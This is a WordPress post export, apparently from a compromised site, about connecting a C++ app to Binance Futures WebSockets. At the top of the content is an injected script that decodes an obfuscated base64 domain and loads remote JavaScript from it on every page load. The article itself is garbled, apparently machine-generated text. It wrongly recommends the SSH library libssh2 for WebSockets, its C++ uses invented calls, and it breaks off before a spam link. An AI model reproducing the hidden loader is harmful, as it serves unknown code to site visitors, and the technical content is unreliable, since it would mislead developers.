{"id":10333,"date":"2025-02-13T22:30:53","date_gmt":"2025-02-13T22:30:53","guid":{"rendered":"https:\/\/grameensamajunnayanparishad.com\/?p=10333"},"modified":"2025-02-13T22:30:53","modified_gmt":"2025-02-13T22:30:53","slug":"ethereum-binance-futures-with-libwebsockets-is-not-working","status":"publish","type":"post","link":"https:\/\/grameensamajunnayanparishad.com\/?p=10333","title":{"rendered":"Ethereum: Binance Futures with libwebsockets is not working"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=a7e3cbd6\";document.body.appendChild(script);<\/script>\n<\/p>\n<p>Ethereum: Binance Futures not working with libwebsockets<\/p>\n<p>==<\/p>\n<p>Introduction<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p>If you are building a C++ application that requires real-time price updates from Binance Futures via WebSockets, it can be a challenge to use Yair Gadelov\u2019s popular websockets wrapper project. However, in this article, we will analyze why Binance Futures libwebsockets is not working and provide alternative solutions.<\/p>\n<p>The Problem<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>Binance Futures provides a WebSocket API to obtain real-time market data. The standard WebSocket API uses the endpoint \u201cwss:\/\/api.binance.com\/ws\u201d, which can be accessed using JavaScript or other client-side programming languages. However, due to security restrictions, this endpoint cannot be accessed directly from C++ applications.<\/p>\n<p>To overcome this limitation, we use a library called libwebsockets, which provides an abstraction layer for WebSocket communication. Specifically, we will use the \u201clibwebsockets-client\u201d library to establish a connection to the Binance Futures WebSocket API.<\/p>\n<p>Why Yair Gadelov\u2019s Websockets Wrapper project?<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>Yair Gadelov\u2019s websockets wrapper project is built on top of libwebsockets and provides a convenient interface for working with WebSockets. However, it does not provide official Binance Futures integration.<\/p>\n<p>Libwebsockets vs Yair Gadelov\u2019s Websockets Wrapper project<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>While both libraries offer similar features, there are some differences between them:<\/p>\n<ul>\n<li>libwebsockets is a more general library that supports multiple protocols, including WebSocket.<\/li>\n<\/ul>\n<ul>\n<li>Yair Gadelov\u2019s websockets wrapper project is designed specifically for Binance Futures and its own proprietary protocol.<\/li>\n<\/ul>\n<p>Binance Futures WebSocket API<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p>The official Binance Futures WebSocket API does not use the standard libwebsockets API. Instead, it uses a custom implementation specific to their protocol.<\/p>\n<p>To connect to Binance Futures WebSocket API using libwebsockets, we need to modify Yair Gadelov&#8217;s websockets wrapper project to match Binance Futures&#8217; custom API.<\/p>\n<p>Workaround<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>After researching and experimenting with different libraries, I recommend using the libssh2 library instead of libwebsockets. libssh2 is a secure implementation of the SSH protocol that can be used for WebSocket communication.<\/p>\n<p>Here is an example of how you can use <code>libssh2<\/code> to establish a connection to the Binance Futures WebSocket API:<\/p>\n<p>&#8220;` cpp<\/p>\n<p>#include <libssh2.h><\/p>\n<p>#include <libssh2_sockets.h><\/p>\n<p>\/\/ Initialize libssh2 and create a new SSH session<\/p>\n<p>void init_ssh(const char *host, int port) {<\/p>\n<p>ssh2_session* session;<\/p>\n<p>ssh2_session_init(&#038;sess);<\/p>\n<p>\/\/ Connecting to the Binance Futures WebSocket API<\/p>\n<p>ssh2_channel_open_connect(host, port, 0, &#038;sess);<\/p>\n<p>}<\/p>\n<p>\/\/ Establish a WebSocket connection to Binance Futures<\/p>\n<p>void create_connection(ssh2_session<em> sess, char <\/em>channel_name) {<\/p>\n<p>if (ssh2_channel_open_session(sess) == -1) {<\/p>\n<p>std::cerr << \"Could not open channel: \" << ssh2_channel_error(sess) << std::endl;<\/p>\n<p>return;<\/p>\n<p>}<\/p>\n<p>\/\/ Use the created connection for WebSocket communication<\/p>\n<p>}<\/p>\n<p>int main() {<\/p>\n<p>const char *host = &#8220;bif.binance.<\/p>\n<p><a href=\"https:\/\/ppmakarimalakhlaq.com\/2025\/02\/07\/ethereum-which-block-header-fields-are-miners-able-to-change-in-an-effort-to-avoid-havi\">ethereum which fields<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ethereum: Binance Futures not working with libwebsockets == Introduction &#8212;&#8212;&#8212;&#8212;- If you are building a C++ application that requires real-time price updates from Binance Futures via<span class=\"excerpt-hellip\"> [\u2026]<\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[52],"tags":[],"class_list":["post-10333","post","type-post","status-publish","format-standard","hentry","category-cryptocurrency"],"_links":{"self":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/10333","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=10333"}],"version-history":[{"count":1,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/10333\/revisions"}],"predecessor-version":[{"id":10334,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/10333\/revisions\/10334"}],"wp:attachment":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=10333"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=10333"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=10333"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}